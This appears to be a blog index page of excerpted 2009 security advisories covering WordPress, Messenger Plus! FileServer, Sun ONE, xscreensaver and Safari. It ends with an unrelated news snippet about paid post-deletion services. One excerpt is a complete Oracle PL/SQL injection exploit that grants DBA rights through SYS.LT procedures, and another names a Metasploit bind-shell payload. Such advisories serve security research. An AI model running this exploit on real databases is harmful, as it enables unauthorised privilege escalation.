夜雨山庄

The FileServer script allows a user using Windows Live Messenger Plus! to share a defined folder and its subfolders and files with a contact.
Authentication is done using a user-defined username and password.
I have found a vulnerability in this script, which allows for downloading of EVERY file on the same disk as the defined folder ("root folder"),
even outside the root folder. The script can be found at http://www.msgpluslive.nl/scripts/view/65-FileServer/

» 阅读全文

WordPress is a web application written in PHP that allows the easy
installation of a flexible weblog on any computer connected to the
Internet. WordPress 2.7 reached more than 6 million downloads during
June 2009 [9].

A vulnerability was found in the way that WordPress handles some URL
requests. This results in unprivileged users viewing the content of
plugins configuration pages, and also in some plugins modifying plugin
options and injecting JavaScript code. Arbitrary native code may be run
by a malicious attacker if the blog administrator runs injected
JavasScript code that edits blog PHP code. Many WordPress-powered blogs,
hosted outside 'wordpress.com', allow any person to create unprivileged
users called subscribers. Other sensitive username information
disclosures were found in WordPress.

» 阅读全文

MS Internet Explorer 7 DirectShow (msvidctl.dll) Heap Spray  (Advisory 972890)
Written by SecureState R&D Team                                                 
Authors: David Kennedy (ReL1K), John Melvin (Whipsmack), Steve Austin             
 http://www.securestate.com                                     
win32_bind EXITFUNC=seh LPORT=5500 Size=314 Encoder=ShikataGaNai Shell=bind

» 阅读全文

System: Sun-ONE-Web-Server/6.1, Windows Server 2003

SunOne WebServer (formerly Netscape Enterprise Server, iPlanet) on Windows Systems lets remote people disclose
JSP Source code.

» 阅读全文

The �xscreensaver� program distributed normally with Xorg can be abused
to disclose local files owned by other users (also of the root account).
Xscreensaver has the setuid bit on by default (Example: Opensolaris)
The xscreensaver program uses the file ~/.xscreensaver to read configuration
options from. If this file is a symlink to another file then this file is parsed
and output is shown on the display. It has to be noted that during the parsing
of the file it may be possible that not the full file contents will be shown.

» 阅读全文

DECLARE
D NUMBER;
BEGIN
D := DBMS_SQL.OPEN_CURSOR;
DBMS_SQL.PARSE(D,'declare pragma autonomous_transaction; begin execute immediate ''grant dba to scott'';commit;end;',0);
SYS.LT.CREATEWORKSPACE('a''and dbms_sql.execute('||D||')=1--');
SYS.LT.COMPRESSWORKSPACETREE('a''and dbms_sql.execute('||D||')=1--');
end;

» 阅读全文

Author   : Marcell 'SkyOut' Dietl, Achim Hoffmann
Email    : mail [at] marcell-dietl [dot] de
Vendor   : http://www.apple.com/
Product  : http://www.apple.com/safari/
Found    : 12.06.2009
Released : 01.07.2009

Tested on:
 - Safari 4.0 at Windows XP SP3
 - Safari 4.0.1 at Mac OS X 10.5.7

» 阅读全文

“删除百度快照、删除负面新闻、删除负面信息请找专业团队。”这是沈阳一个网名为“番茄”的网络删帖手在互联网上打出的广告语。

近日，“网络删帖”公司这一新名词的横空出世引发了很大的争议。事实上，在当前互联网上有无数的“番茄”存在着，他们的背后很多甚至是专业的“网络删帖”公司。

» 阅读全文